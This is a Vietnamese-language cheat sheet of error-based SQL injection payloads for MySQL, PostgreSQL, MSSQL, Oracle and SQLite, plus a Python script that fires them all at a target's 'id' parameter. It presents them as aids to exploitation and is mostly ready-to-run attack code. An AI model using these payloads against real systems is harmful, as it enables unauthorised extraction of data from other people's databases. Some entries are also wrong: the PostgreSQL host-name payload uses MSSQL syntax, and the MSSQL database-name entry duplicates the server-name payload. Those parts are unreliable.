Table of Contents
Trích xuất tên cơ sở dữ liệu và tên máy chủ bằng cách sử dụng lỗi bắt buộc
Với các kỹ thuật tiêm SQL tiên tiến dựa trên lỗi này, bạn có thể trích xuất
thông tin quan trọng như tên cơ sở dữ liệu và tên máy chủ, có thể hỗ trợ thêm
cho nỗ lực khai thác của bạn.
MySQL
Trích xuất tên cơ sở dữ liệu
- Sử dụng kỹ thuật chèn dựa trên lỗi để trích xuất tên cơ sở dữ liệu.
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --
Trích xuất tên máy chủ
- Sử dụng kỹ thuật chèn dựa trên lỗi để trích xuất tên máy chủ.
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT @@hostname), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --
PostgreSQL
Trích xuất tên cơ sở dữ liệu
- Sử dụng kỹ thuật chèn dựa trên lỗi để trích xuất tên cơ sở dữ liệu hiện tại.
' AND 1=CAST((SELECT current_database()) AS INT) --
Trích xuất tên máy chủ
PostgreSQL không trực tiếp cung cấp hàm cho tên máy chủ, nhưng bạn có thể sử
dụng các truy vấn siêu dữ liệu khác hoặc các tiện ích mở rộng tích hợp như
inet_server_addr.
'; SELECT 1 WHERE 1=CAST(@@servername AS INT) --
MSSQL
Trích xuất tên cơ sở dữ liệu
- Sử dụng kỹ thuật chèn dựa trên lỗi để trích xuất tên cơ sở dữ liệu hiện tại.
'; SELECT 1 WHERE 1=CAST(@@servername AS INT) --
Oracle
Trích xuất tên cơ sở dữ liệu
- Sử dụng kỹ thuật chèn dựa trên lỗi để trích xuất tên cơ sở dữ liệu hiện tại.
' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT ora_database_name FROM dual) AS INT) --
Trích xuất tên máy chủ
- Sử dụng kỹ thuật chèn dựa trên lỗi để trích xuất tên máy chủ.
' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT SYS_CONTEXT('USERENV', 'HOST') FROM dual) AS INT) --
SQLite
Trích xuất tên cơ sở dữ liệu
- SQLite sử dụng một cơ sở dữ liệu duy nhất cho mỗi tệp, nhưng bạn có thể buộc lỗi tiết lộ thông tin liên quan đến cơ sở dữ liệu.
' AND 1=CAST((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1) AS INT) --
Trích xuất tên máy chủ
- SQLite không có tên máy chủ vì nó là cơ sở dữ liệu dựa trên tệp. Tuy nhiên, bạn có thể suy ra đường dẫn tệp có thể cung cấp manh mối.
' AND 1=CAST((SELECT file FROM pragma_database_list LIMIT 1) AS INT) --
Python Script để tự động hóa quy trình
import requests url = "http://example.com/vulnerable.php" payloads = [ # MySQL "' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- ", "' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT @@hostname), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- ", # PostgreSQL "' AND 1=CAST((SELECT current_database()) AS INT) -- ", "' AND 1=CAST((SELECT inet_server_addr()) AS INT) -- ", # MSSQL "; SELECT 1 WHERE 1=CAST(DB_NAME() AS INT) -- ", "; SELECT 1 WHERE 1=CAST(@@servername AS INT) -- ", # Oracle "' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT ora_database_name FROM dual) AS INT) -- ", "' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT SYS_CONTEXT('USERENV', 'HOST') FROM dual) AS INT) -- ", # SQLite "' AND 1=CAST((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1) AS INT) -- ", "' AND 1=CAST((SELECT file FROM pragma_database_list LIMIT 1) AS INT) -- ", ] for payload in payloads: response = requests.get(url, params={"id": payload}) print(f"Payload: {payload}") print(f"Response: {response.text}\n")